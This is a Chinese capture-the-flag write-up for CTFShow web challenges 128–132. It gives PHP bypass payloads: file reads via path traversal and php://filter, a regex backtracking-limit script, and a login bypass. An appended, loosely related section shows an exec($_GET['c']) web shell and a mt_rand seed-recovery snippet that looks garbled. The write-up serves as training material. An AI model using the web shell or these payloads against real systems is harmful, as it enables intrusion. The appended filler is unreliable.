ctfshow——web入门——128~132

web入门128

call_user_func — 把第一个参数作为回调函数调用

为了让if条件成立,f1中不能有数字,字母,但是f1也要是个函数

看了看payload

_()==gettext() 是gettext()的拓展函数,开启text扩展

在当前域中查找信息

f2我们可以用get_defined_vas,返回所有已知变量的数组

(因为有call_user_func在我们就不用加括号,f1,f2会被直接调用)

web入门129

那就是要找到flag.php

?f=/ctfshow/../var/www/html/flag.php

既然readfile找的是文件,那么也可以:?f=php://filter/ctfshow/resource=flag.php

( PHP对无法使用的filter过滤器只会抛出warning而不是error )

web入门130

'/.+?ctfshow/is' 后面的i表示大小写匹配,s表示忽略换行符,单行匹配

在不加转义字符的前提下,前面的点表示任意字符,而“+?”表示非贪婪匹配,即前面的字符至少出现一次

直接f=ctfshow

因为

是强比较,所以stripos返回的0不会==fakse

也可以用数组绕过

web入门131

在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

官方的payload:

echo str_repeat('very', '250000').'36Dctfshow';

运行这个代码,然后把结果复制post提交

也可以用py:

import requests

url = "http://67219da3-035a-4874-b480-66ba27e2c2ad.challenge.ctf.show/"

s = '666' * 333333 + '36dctfshow'
print(len(s))
data = dict(f=s)
response = requests.post(url, data=data).text

print(response)

web入门132

后台扫描 /robots.txt ,再访问/admin,得到原码

辑运算符优先级不同,四个符号的优先级从高到低分别是: &&、||、and、or

x && y 当x为false时,直接跳过,不执行y; x||y 当x为true时,直接跳过,不执行y

所以只要保证username=admin就可以让

成立,所以payload:?username=admin&password=&code=admin

### CTFShow Web 入门教程与资源 #### 图片中的隐藏后门代码 在处理CTF挑战时,有时会遇到图片中嵌入的恶意代码或后门。这类攻击通常利用图像文件格式的特点,在不影响视觉效果的前提下植入可执行代码。为了检测此类漏洞,可以使用工具如Wireshark抓包分析网络传输数据,或者通过十六进制编辑器(例如010 Editor)查看二进制内容[^1]。 ```bash # 使用010Editor打开可疑图片文件并查找异常字符序列 $ 010editor image.png ``` #### 构造命令执行Payload 对于存在命令注入风险的应用程序,可以通过精心设计输入参数来触发特定行为。比如在一个假设场景下,如果服务器端未对用户提交的数据做充分验证,则可能允许攻击者绕过安全机制执行任意指令。下面展示了如何构建用于测试目的的有效载荷: ```php <?php // 测试用PHP代码片段模拟远程命令执行 $c = $_GET['c']; exec($c, $output); echo implode("\n", $output); ?> ``` 实际操作时应谨慎对待任何涉及系统调用的功能,并确保只针对授权环境开展实验性活动[^2]。 #### PHP随机数生成函数反向工程 某些情况下,了解目标应用内部工作原理有助于找到解决方案路径。以PHP为例,其内置伪随机数发生器`mt_rand()`依赖于初始状态——即种子值。当知道部分输出结果时,可通过逆向工程技术恢复原始种子,进而预测后续产生的数值系列。开源项目提供了实现这一过程所需的算法和编译方法[^3]。 ```cpp #include "php_mt_seed.h" int main() { // 示例:基于已知MT输出还原种子 unsigned long mt_output[] = { /* 已知的一组连续输出 */ }; int seed; find_mt_seed(mt_output, sizeof(mt_output)/sizeof(*mt_output), &seed); printf("Recovered Seed: %d\n", seed); return 0; } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值